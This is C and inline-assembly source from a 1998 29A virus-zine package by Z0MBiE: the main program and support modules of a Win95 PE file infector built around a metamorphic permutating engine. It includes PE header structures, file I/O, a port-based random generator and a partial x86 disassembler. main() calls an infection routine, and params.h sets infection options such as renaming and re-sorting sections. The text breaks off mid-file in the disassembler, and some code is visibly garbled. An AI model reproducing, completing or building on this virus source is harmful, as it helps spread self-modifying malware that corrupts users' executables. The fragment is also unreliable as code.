ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.c]ÄÄ // ========================================================================== // Advanced ZCME/32Bit [Win95] [COMPONENT] Copyright (c) 1998 Z0MBiE/29A // For great help in creation of this project thanx to Lord Asd // Permutating(Metamorphic) Engine Research // NOT FOR [RE]PUBLISHING/DISASM IN VX-ZINES, EXCEPT 29A // ========================================================================== // last updated: 24-07-98 02:11:07 unsigned long save_entrypoint = 0xFFFFFFFF; // saved program`s entrypoint #include "system.c" // system routines #include "params.h" // global parameters/constants #include "mz.h" // mz header structure #include "pe.h" // pe header/object table structure #include "string.c" // asciiz strings manipulations #include "fileio.c" // file io #include "crt.c" // screen io routines, such as printf #include "arg.c" // command line management #include "random.c" // random number generator, using io-port #include "disasm.c" // command disassembler #include "engine.c" // permutating engine #include "infect.c" // file infection routines void main(void) { dword t; con_init(); // initialize console arg_init(); // parse command line if (cmp(&argv[1], "RUN_FILE",9)) // if 1st parameter is "RUN_FILE" { asm // then execute old program, mov eax, save_entrypoint // but check for 1st execution inc eax // when entrypoint not initialized jz __1 dec eax jmp eax __1: end; printf("This is FIRST execution, RUN_FILE not availablle"); exit(1); } if (argc != 3) // otherwise, check for valid number of parameters { printf("Syntax: %a \n", argv[0]); printf(" or\n"); printf(" %a RUN_FILE\n", argv[0]); exit(1); } t = time(); // calculate time used by infection & engine run_infect(argv[1], argv[0], argv[2]); // process infection t = time() - t; printf("%d milliseconds\n", t ); con_done(); // close console exit(0); // exit } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.c]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[system.c]ÄÄ // SYSTEM.C - system module // Copyright (C) 1998 Z0MBiE/29A #define MIN(a, b) (((a) < (b)) ? (a) : (b)) #define MAX(a, b) (((a) > (b)) ? (a) : (b)) #define asm asm { // i just like it #define end }; // typedef unsigned char byte; // define some types typedef unsigned short word; typedef unsigned long dword; #define pchar const char * // and some pointers #define voidptr const void * // to fill variable with zeroes: zero(varname); #define zero(x) fillchar((pchar) &x, sizeof(x), 0x00) void exit(byte exitcode); // exit to windows void fillchar(voidptr buf, dword bufsize, byte filler); // stos void move(voidptr srcbuf, voidptr destbuf, dword size); // movs dword cmp(voidptr srcbuf, voidptr destbuf, dword size); // cmps dword time(void); // get system time in milliseconds void exit(byte exitcode) { asm extrn ExitProcess:PROC movzx eax, exitcode push eax call ExitProcess end; } void fillchar(voidptr buf, dword bufsize, byte filler) { asm mov edi, buf mov ecx, bufsize mov al, filler cld rep stosb end; } void move(voidptr srcbuf, voidptr destbuf, dword size) { asm mov esi, srcbuf mov edi, destbuf mov ecx, size cld rep movsb end; } dword cmp(voidptr srcbuf, voidptr destbuf, dword size) { asm mov esi, srcbuf mov edi, destbuf mov ecx, size xor eax, eax cld rep cmpsb jne __1 inc eax __1: end; return(_EAX); } dword time(void) // in milliseconds { word time[8]; asm extrn GetSystemTime:PROC lea eax, time push eax call GetSystemTime movzx eax, time[7*2] // milliseconds movzx ebx, time[6*2] // seconds imul ebx, 1000 add eax, ebx movzx ebx, time[5*2] // minute imul ebx, 1000*60 add eax, ebx end; return(_EAX); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[system.c]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[params.h]ÄÄ // PARAMS.H - AZCME global parameters/constants // Copyright (C) 1998 Z0MBiE/29A #define max_code_size 0x10000 // max code sction size #define max_cmd 4096 // max instructions in code sect. /* disassembler parameters */ //#define FULL_DUMP // full instruction dump //#define SHORT_DUMP // short dump /* file infection parameters */ #define RENAME_SECTIONS // rename sections at random #define RESORT_OBJTABLE // restort objentries #define RESORT_MY_SECTIONS // add own sections with random order #define REDEFINE_SUBSYSTEM // set subsystem to windows char /* engine parameters */ //#define DEBUG_FILES // create debug files ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[params.h]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[mz.h]ÄÄ // MZ.H - MZ header // Copyright (C) 1998 Z0MBiE/29A typedef struct mzheader { word id; // MZ word last512; word num512; word relnum; word headersize; word minmem; word maxmem; word ss; word sp; word checksum; word ip; word cs; word relofs; word ovrnum; byte unused[32]; dword neptr; } mzheader; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[mz.h]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[pe.h]ÄÄ // PE.H - PE header & objecttable // Copyright (C) 1998 Z0MBiE/29A typedef struct peheader { dword id; // 00 01 02 03 word cputype; // 04 05 word numofobjects; // 06 07 dword timedatestamp; // 08 09 0A 0B dword coffptr; // 0C 0D 0E 0F dword coffsize; // 10 11 12 13 word ntheadersize; // 14 15 word flags; // 16 17 // nt header below word magic; // 18 19 byte linkmajor; // 1A byte linkminor; // 1B dword sizeofcode; // 1C 1D 1E 1F dword sizeofidata; // 20 21 22 23 dword sizeofudata; // 24 25 26 27 dword entrypointrva; // 28 29 2A 2B dword baseofcode; // 2C 2D 2E 2F dword baseofdata; // 30 31 32 33 dword imagebase; // 34 35 36 37 dword objectalign; // 38 39 3A 3B dword filealign; // 3C 3D 3E 3F word osmajor; // 40 41 word osminor; // 42 43 word usermajor; // 44 45 word userminor; // 46 47 word subsysmajor; // 48 49 word subsysminor; // 4A 4B dword reserved; // 4C 4D 4E 4F dword imagesize; // 50 51 52 53 dword headersize; // 54 55 56 56 dword checksum; // 58 59 5A 5B word subsystem; // 5C 5D word dllflags; // 5E 5F dword stackreserve; // 60 61 62 63 dword stackcommit; // 64 65 66 67 dword heapreserve; // 67 60 6A 6B dword heapcommit; // 6C 6D 6E 6F dword loaderflags; // 70 71 72 73 dword numofrvaandsizes; // 74 75 76 77 // rva and sizes dword exportrva; // 78 79 7A 7B dword exportsize; // 7C 7D 7E 7F dword importrva; // 80 81 82 83 dword importsize; // 84 85 86 87 dword resourcerva; // 88 89 8A 8B dword resourcesize; // 8C 8D 8E 8F dword exceptionrva; // 90 91 92 93 dword exceptionsize; // 94 95 96 97 dword securityrva; // 98 99 9A 9B dword securitysize; // 9C 9D 9E 9F dword fixuprva; // A0 A1 A2 A3 dword fixupsize; // A4 A5 A6 A7 dword debugrva; // A8 A9 AA AB dword debugsize; // AC AD AE AF dword descriptionrva; // B0 B1 B2 B3 dword descriptionsize; // B4 B5 B6 B7 dword machinerva; // B8 B9 BA BB dword machinesize; // BC BD BE BF dword tlsrva; // C0 C1 C2 C3 dword tlssize; // C4 C5 C6 C7 dword loadconfigrva; // C8 C9 CA CB dword loadconfigsize; // CC CD CE CF byte reserved_1[8]; // D0 D1 D2 D3 D4 D5 D6 D7 dword iatrva; // D8 D9 DA DB dword iatsize; // DC DD DE DF byte reserved_2[8]; // E0 E1 E2 E3 E4 E5 E6 E7 byte reserved_3[8]; // E8 E9 EA EB EC ED EE EF byte reserved_4[8]; // F0 F1 F2 F3 F4 F5 F6 F7 // --------- total size = 0xF8 --------- } peheader; typedef struct objentry { char name[8]; // 00 01 02 03 04 05 06 07 dword virtualsize; // 08 09 0A 0B dword sectionrva; // 0C 0D 0E 0F dword physicalsize; // 10 11 12 13 dword physicaloffset; // 14 15 16 17 byte reserved[0x0C]; // 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 dword objectflags; // 24 25 26 27 // --------- total size = 0x28 --------- } objentry; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[pe.h]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[string.c]ÄÄ // STRING.C - asciiz string management // Copyright (C) 1998 Z0MBiE/29A dword strlen(pchar s); // calc string length void straddchar(pchar dest, char c); // add character to string dword strlen(pchar s) { asm mov edi, s mov ecx, 0xFFFFFFFF xor eax, eax cld repnz scasb neg ecx dec ecx dec ecx xchg ecx, eax end; return(_EAX); } void straddchar(pchar dest, char c) { asm mov edi, dest mov ecx, 0xFFFFFFFF xor eax, eax cld repnz scasb dec edi mov al, c stosw end; } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[string.c]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fileio.c]ÄÄ // FILEIO.C - file io subroutines, uses windows api // Copyright (C) 1998 Z0MBiE/29A #define handle dword // file handle #define FILE_ATTRIBUTE_NORMAL 0x00000080 // some constants for api #define OPEN_EXISTING 3 #define CREATE_ALWAYS 2 #define GENERIC_READ 0x80000000 #define GENERIC_WRITE 0x40000000 #define FILE_SHARE_READ 0x00000001 #define FILE_SHARE_WRITE 0x00000002 #define FILE_BEGIN 0 #define FILE_CURRENT 1 handle openfile(pchar fname); // open file handle openfile_ro(pchar fname); // open file - readonly mode handle createfile(pchar fname); // create new file void closefile(handle h); // close file dword readfile(handle h, voidptr buf, dword bufsize); // read file dword writefile(handle h, voidptr buf, dword bufsize); // write file dword filesize(handle h); // get file size void seek(handle h, dword newpos); // set file pos dword filepos(handle h); // get file pos handle openfile(pchar fname) { asm extrn CreateFileA:PROC push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 0 push FILE_SHARE_READ + FILE_SHARE_WRITE push GENERIC_READ + GENERIC_WRITE push fname call CreateFileA end; return(_EAX); } handle openfile_ro(pchar fname) { asm extrn CreateFileA:PROC push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 0 push FILE_SHARE_READ push GENERIC_READ push fname call CreateFileA end; return(_EAX); } handle createfile(pchar fname) { asm extrn CreateFileA:PROC push 0 push FILE_ATTRIBUTE_NORMAL push CREATE_ALWAYS push 0 push FILE_SHARE_READ + FILE_SHARE_WRITE push GENERIC_READ + GENERIC_WRITE push fname call CreateFileA end; return(_EAX); } void closefile(handle h) { asm extrn CloseHandle:PROC push h call CloseHandle end; } dword readfile(handle h, voidptr buf, dword bufsize) { dword bytesread; asm extrn ReadFile:PROC push 0 lea eax, bytesread push eax push bufsize push buf push h call ReadFile mov eax, bytesread end; return(_EAX); } dword writefile(handle h, voidptr buf, dword bufsize) { dword byteswritten; asm extrn WriteFile:PROC push 0 lea eax, byteswritten push eax push bufsize push buf push h call WriteFile mov eax, byteswritten end; return(_EAX); } dword filesize(handle h) { asm extrn GetFileSize:PROC push 0 push h call GetFileSize end; return(_EAX); } void seek(handle h, dword newpos) { asm extrn SetFilePointer:PROC push FILE_BEGIN push 0 push newpos push h call SetFilePointer end; } dword filepos(handle h) { asm extrn SetFilePointer:PROC push FILE_CURRENT push 0 push 0 push h call SetFilePointer end; return(_EAX); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fileio.c]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[crt.c]ÄÄ // CRT.C - module to work with console // Copyright (C) 1998 Z0MBiE/29A #define STD_INPUT_HANDLE -10 // constants for windows api #define STD_OUTPUT_HANDLE -11 #define STD_ERROR_HANDLE -12 handle con_handle; // handle of console char hexchar[16] = "0123456789ABCDEF"; // hex. characters void con_init(void); // initialize console void con_done(void); // close console void pascal printf_char(char c); // equal to %c in printf void pascal printf_hexchar(byte b); // void pascal printf_hexbyte(byte b); // %B void pascal printf_hexword(word w); // %W void pascal printf_hexdword(dword d); // %D void pascal printf_dword(dword d); // %d void pascal printf_byte(byte b); // %b void pascal printf_word(word w); // %w void pascal printf_long(long l); // %l void pascal printf_short(short s); // %s void pascal printf_int(int i); // %i void pascal printf_crlf(void); // \n void pascal printf_asciiz(pchar s); // %a void cdecl printf(pchar format, ...); void con_init(void) { asm extrn GetStdHandle:PROC push STD_OUTPUT_HANDLE call GetStdHandle mov con_handle, eax end; } void con_done(void) { closefile(con_handle); } void pascal printf_char(char c) { writefile(con_handle, &c, 1); } void pascal printf_hexchar(byte b) { printf_char(hexchar[b & 15]); } void pascal printf_hexbyte(byte b) { printf_hexchar(b >> 4); printf_hexchar(b & 15); } void pascal printf_hexword(word w) { printf_hexbyte(w >> 8); printf_hexbyte(w & 255); } void pascal printf_hexdword(dword d) { printf_hexword(d >> 16); printf_hexword(d & 65535); } void pascal printf_dword(dword d) { if (d >= 10) printf_dword(d / 10); printf_char('0'+ d % 10); } void pascal printf_byte(byte b) { printf_dword(b); } void pascal printf_word(word w) { printf_dword(w); } void pascal printf_long(long l) { if (l < 0) { printf_char('-'); l = -l; } printf_dword(l); } void pascal printf_short(short s) { printf_long(s); } void pascal printf_int(int i) { printf_long(i); } void pascal printf_crlf(void) { printf_char(13); printf_char(10); } void pascal printf_asciiz(pchar s) { while ((char)*s != 0x00) { printf_char((char) *s); s++; } } void cdecl printf(pchar format, ...) { dword stack_ptr = 12; asm mov esi, format cld __nextchar: lodsb or al, al jz __exit cmp al, '%' je __percent cmp al, 0x0A je __crlf __putchar: push eax call printf_char jmp __nextchar __crlf: call printf_crlf jmp __nextchar em_pop_eax: mov ecx, stack_ptr add stack_ptr, 4 mov eax, [ebp+ecx] ret __percent: lodsb or al, al jz __exit cmp al, 's' je __s cmp al, 'i' je __i cmp al, 'l' je __l cmp al, 'c' je __c cmp al, 'b' je __b cmp al, 'w' je __w cmp al, 'd' je __d cmp al, 'B' je __bh cmp al, 'W' je __wh cmp al, 'D' je __dh cmp al, 'a' je __a jmp __putchar __s: call em_pop_eax push eax call printf_short jmp __nextchar __i: call em_pop_eax push eax call printf_int jmp __nextchar __l: call em_pop_eax push eax call printf_long jmp __nextchar __c: call em_pop_eax push eax call printf_char jmp __nextchar __b: call em_pop_eax push eax call printf_byte jmp __nextchar __w: call em_pop_eax push eax call printf_word jmp __nextchar __d: call em_pop_eax push eax call printf_dword jmp __nextchar __bh: call em_pop_eax push eax call printf_hexbyte jmp __nextchar __wh: call em_pop_eax push eax call printf_hexword jmp __nextchar __dh: call em_pop_eax push eax call printf_hexdword jmp __nextchar __a: call em_pop_eax push eax call printf_asciiz jmp __nextchar __exit: end; } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[crt.c]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[arg.c]ÄÄ // ARG.C - module to parse command line // Copyright (C) 1998 Z0MBiE/29A #define max_argc 10 // max. number of arguments #define max_argv 256 // max argument size dword argc; // argc, or paramcount in pascal char argv[max_argc][max_argv]; // argv, or paramstr(i) in pascal pchar cmdlineptr(void); // windows api - get pointer to command line void arg_init(void); // subroutine to parse cmd. line pchar cmdlineptr(void) { asm extrn GetCommandLineA:PROC call GetCommandLineA end; return((pchar) _EAX); // to avoid fucking compiler`s warning } void arg_init(void) // parse cmd. line { pchar p = cmdlineptr(); // p = pointer to cmd. line argc = 0; // zero resulting vars zero(argv); // while ((char) *p != 0) // search till zero byte will be found { if ( ((char) *p == ' ') || ((char) *p == 0x09) ) // space or tab? { if (strlen(argv[argc]) != 0) // if argv[argc] <> 0 argc++; // then increase argc } else straddchar(argv[argc], (char) *p); // else add current character p++; } if (argv[argc][0] != 0x00) argc++; // check for last argv } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[arg.c]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[random.c]ÄÄ // RANDOM.C - random number generator, 16-bit // Copyright (C) 1998 Z0MBiE/29A word rndword; // current random word word random(void); // get random word word rnd(word range); // get random word in range [0..range-1] word rnd_minmax(word min, word max); // get random word in range [min..max] word random(void) { asm mov bx, rndword in al, 40h // system counters xor bl, al in al, 40h add bh, al in al, 41h sub bl, al in al, 41h xor bh, al in al, 42h add bl, al in al, 42h sub bh, al mov ax, bx rol ax, 1 xor dx, dx mov cx, 10007 mul cx inc ax rol ax, 1 mov rndword, ax end; return(_AX); } word rnd(word range) { if (range == 0) return(0); else return(random() % range); } word rnd_minmax(word min, word max) { return(rnd(max-min+1) + min); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[random.c]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[disasm.c]ÄÄ // DISASM.C - disassembler module for AZCME/32 // Copyright (C) 1998 Z0MBiE/29A #define cf_66 0x00000001 #define cf_67 0x00000002 #define cf_lock 0x00000004 #define cf_rep 0x00000008 #define cf_seg 0x00000010 #define cf_0F 0x00000020 #define cf_w 0x00000040 #define cf_modrm 0x00000080 #define cf_sib 0x00000100 #define cf_mem 0x00000200 #define cf_data 0x00000400 #define cf_datarel 0x00000800 #define cf_ttt 0x00001000 #define ct_unknown 0 // by default #define ct_ret 1 #define ct_call 2 #define ct_jmp 3 #define ct_jcc 4 #define ct_jmpMODRM 5 #define rt_undefined 0 // by default #define rt_opcode0 1 #define rt_modrm_reg 2 #define rt_modrm_rm 3 #define rt_sib0_32 6 #define rt_sib3_32 7 #define rt_a 8 // eax/ax/al #define rt_ebp 9 // ebp typedef union dwordunion { dword d[1]; word w[2]; byte b[4]; } dwordunion; typedef struct tcmdrec { dword size; // total command size in bytes dword flags; // cf_xxxx dword type; // ct_xxxx byte px_rep; // prefixes byte px_seg; byte opcode; // opcode byte modrm; // modrm byte sib; // sib dword memsize; // memory size in bytes dwordunion mem; // mem dword datasize; // data size in bytes dwordunion data; // data byte mod; // splitted modrm byte reg; // byte rm; // byte scale; // splitted sib byte index; // byte base; // dword regcount; // reg. count dword regtype[3]; // rt_xxxx dword regsize[3]; // 0,1,2,4 dword jmpdata; } tcmdrec; #define pcmdrec tcmdrec * void debug_dump(pchar cmd, dword size) { printf("%D ", (dword) cmd); for (; size>0; size--, cmd++) printf(" %B", (byte) *cmd); printf_crlf(); } pchar ip; tcmdrec r; byte b; byte ttt; #define flagset(flag) ((r.flags & (flag)) != 0) // func #define andflag(flag) r.flags &= (~(flag)) // proc #define setflag(flag) r.flags |= (flag) // proc #define getbyte ((byte) *ip++) #define getbyteNI ((byte) *ip ) // NI=no increment void modrm_real(void) { setflag(cf_modrm); b = getbyte; r.modrm = b; r.mod = b >> 6; r.reg = (b >> 3) & 7; r.rm = b & 7; if (r.mod == 0x03) { if ((r.flags & cf_ttt) == 0) { r.regtype[r.regcount ] = rt_modrm_reg; r.regsize[r.regcount++] = 4; } r.regtype[r.regcount ] = rt_modrm_rm; r.regsize[r.regcount++] = 0x66; goto done; }; if flagset(cf_67) goto modrm_32; else goto modrm_16; modrm_16: asm int 3 end; goto done; modrm_32: if ((r.flags & cf_ttt) == 0) { r.regtype[r.regcount ] = rt_modrm_reg; r.regsize[r.regcount++] = 4; } if (r.mod == 0x01) { setflag(cf_mem); r.memsize = 1; } if (r.mod == 0x02) { setflag(cf_mem); r.memsize = 4; } if (r.rm == 0x04) { setflag(cf_sib); b = getbyte; r.sib = b; r.scale = b >> 6; r.index = (b >> 3) & 7; r.base = b & 7; r.regtype[r.regcount ] = rt_sib3_32; // index r.regsize[r.regcount++] = 4; if (r.base == 5) { if (r.mod == 0) { setflag(cf_mem); r.memsize = 4; } else { r.regtype[r.regcount ] = rt_ebp; r.regsize[r.regcount++] = 4; } goto done; } r.regtype[r.regcount ] = rt_sib0_32; // base r.regsize[r.regcount++] = 4; } else { if ( (r.rm == 0x05) && (r.mod == 0) ) { setflag(cf_mem); r.memsize = 4; } else { r.regtype[r.regcount ] = rt_modrm_rm; r.regsize[r.regcount++] = 4; } } goto done; done: } void disasm(pchar cmd, pcmdrec rec) { word i; ip = cmd; zero(r); r.flags = (cf_66 | cf_67); // by default: 32-bit addressing prefix: b = getbyte; ttt = (getbyteNI >> 3) & 7; if (b == 0x66) { andflag(cf_66); goto prefix; } if (b == 0x67) { andflag(cf_67); goto prefix; } if (b == 0xF0) { setflag(cf_lock); goto prefix; } if ((b == 0xF2) || (b == 0xF3)) { setflag(cf_rep); r.px_rep = b; goto prefix; } if ((b == 0x26) || (b == 0x2E) || (b == 0x3E) || (b == 0x36) || (b == 0x64) || (b == 0x65)) { setflag(cf_seg); r.px_seg = b; goto prefix; } if (b == 0x0F) goto prefix_0F; r.opcode = b; #define cmpEx(data,andmask,cmpmask) ((data & andmask) == cmpmask) if (b == 0x90) goto done; if (b == 0xCC) goto done; if (b == 0xE9) { r.type = ct_jmp; goto data_66_rel; } if (b == 0xE8) { r.type = ct_call; goto data_66_rel; } if cmpEx(b,0xF8,0x50) { //r.type = ct_push; goto reg_opcode0; } if cmpEx(b,0xF8,0x58) { //r.type = ct_pop; goto reg_opcode0; } if cmpEx(b,0xFC,0x88) { //r.type = ct_mov; goto w_modrm; } if (b == 0xC2) { r.type = ct_ret; goto data_word; } if (b == 0xC3) { r.type = ct_ret; goto done; } if (b == 0xFC) { //r.type = ct_cld; goto done; } if (b == 0x99) // cwd goto done; if cmpEx(b,0xFE,0xAA) { //r.type = ct_stos; goto done; } if cmpEx(b,0xFE,0xA4) { //r.type = ct_movs; goto done; } if cmpEx(b,0xFE,0xAE) { //r.type = ct_scas; goto done; } if cmpEx(b,0xFE,0xAC) { //r.type = ct_lods; goto done; } if cmpEx(b,0xFE,0xA6) { //r.type = ct_cmps; goto done; } if cmpEx(b,0xF8,0xB8) { //r.type = ct_mov; goto reg_opcode0_data_66; } if cmpEx(b,0xF8,0xB0) { //r.type = ct_mov; goto data_byte; } if cmpEx(b,0xC4,0x00) { //r.type = ct_ttt_opcode3; goto w_modrm; } if ( cmpEx(b,0xFE,0xF6) && cmpEx(ttt,0x06,0x02) ) { //r.type = ct_notneg; goto ttt_w_modrm; } if cmpEx(b,0xF0,0x40) { //r.type = ct_incdec; goto reg_opcode0; } if cmpEx(b,0xF8,0x90) { //r.type = ct_xchg; goto reg_opcode0; } if (b == 0x6A) // push goto data_byte; if (b == 0x68) // push goto data_66; if ((b == 0xFF) && (ttt == 0x06)) // inc modrm goto ttt_modrm; if (b == 0x8D) // lea goto modrm; if cmpEx(b,0xFC,0xA0) // mov ax, [xxxxx] goto data_66; if cmpEx(b,0xFC,0x80) // ttt rm, data goto ttt_modrm_data_s_w_66; if cmpEx(b,0xFE,0xC0) // ttt rm, data (shifts) goto ttt_modrm_data_byte; if cmpEx(b,0xF0,0x70) { r.type = ct_jcc; goto data_byte_rel; } if (b == 0xEB) { r.type = ct_jmp; goto data_byte_rel; } if ( cmpEx(b,0xFE,0xF6) && cmpEx(ttt,0x06,0x06) ) // div,idiv (ax) { goto ttt_a_w_modrm; } if cmpEx(b,0xFE,0x84) // test goto w_modrm; if (cmpEx(b,0xFE,0xC6) && (ttt == 0x00)) // mov rm, data goto ttt_modrm_data_w_66; if (cmpEx(b,0xFE,0xF6) && (ttt == 0x00)) // test rm, data goto ttt_modrm_data_w_66; if cmpEx(b,0xFE,0x3C) // cmp a { goto a_data_w_66; } if ( cmpEx(b,0xFE,0xFE) && cmpEx(ttt,0x06,0x00) ) // inc goto ttt_w_modrm; if cmpEx(b,0xC4,0x04) // and goto data_w_66; if ( (b == 0xFF) && (ttt == 0x04) ) // jmp modrm { r.type = ct_jmpMODRM; goto ttt_modrm; } if (b == 0xEC) // in al, dx goto done; if (b == 0xE4) // in al, port goto data_byte; if (b == 0x69) // imul goto modrm_data_w_66; if (cmpEx(b,0xFE,0xF6) && (ttt == 0x04) ) // mul [a,] rm goto ttt_modrm; if cmpEx(b,0xFC,0xD0) // shr rm, 1/cl goto w_modrm; if (b == 0xA8) // test al,xx goto data_byte; if cmpEx(b,0xFE,0x9C) // push/popf goto done; error: debug_dump(cmd, 10); printf("<- unknown command, opcode %B\n", r.opcode); exit(1); prefix_0F: setflag(cf_0F); b = getbyte; r.opcode = b; ttt = (getbyteNI >> 3) & 7; if cmpEx(b,0xF6,0xB6) { //r.type = ct_movXx; // movsx/movzx goto w_modrm; } if cmpEx(b,0xF0,0x80) { r.type = ct_jcc; goto data_66_rel; } goto error; a_data_w_66: r.regtype[r.regcount ] = rt_a; r.regsize[r.regcount++] = 0x66; goto data_w_66; ttt_a_w_modrm: setflag(cf_ttt); goto a_w_modrm; a_w_modrm: r.regtype[r.regcount ] = rt_a; r.regsize[r.regcount++] = 0x66; goto w_modrm; ttt_modrm_data_byte: setflag(cf_ttt); goto modrm_data_byte; modrm_data_byte: modrm_real(); goto data_byte; ttt_modrm_data_s_w_66: setflag(cf_ttt); goto modrm_data_s_w_66; modrm_data_s_w_66: modrm_real(); goto data_s_w_66; ttt_modrm_data_w_66: setflag(cf_ttt); goto modrm_data_w_66; modrm_data_w_66: modrm_real(); goto data_w_66; data_s_w_66: if ((r.opcode & 0x02) != 0) goto data_byte; else goto data_w_66; data_66_rel: setflag(cf_datarel); goto data_66; data_byte_rel: setflag(cf_datarel); goto data_byte; data_66: r.datasize = 0x66; goto data; data_byte: r.datasize = 1; goto data; data_word: r.datasize = 2; goto data; data_dword: r.datasize = 4; goto data; data: r.flags |= cf_data; goto done; reg_opcode0_data_66: r.regtype[r.regcount ] = rt_opcode0; r.regsize[r.regcount++] = 0x66; goto data_66; reg_opcode0: r.regtype[r.regcount ] = rt_opcode0; r.regsize[r.regcount++] = 0x66; goto done; data_w_66: setflag(cf_w); goto data_66; ttt_w_modrm: setflag(cf_ttt); goto w_modrm; w_modrm: setflag(cf_w); goto modrm; ttt_modrm: setflag(cf_ttt); goto modrm; modrm: modrm_real(); done: if (r.datasize == 0x66) if ( flagset(cf_w) && ((r.opcode & 0x01) == 0) ) r.datasize = 1; else if flagset(cf_66) r.datasize = 4; else r.datasize = 2; for (i=0; i "); if flagset(cf_w) printf("w "); if flagset(cf_modrm)printf("modrm "); if flagset(cf_sib) printf("sib "); if flagset(cf_mem) printf("mem "); if flagset(cf_data) 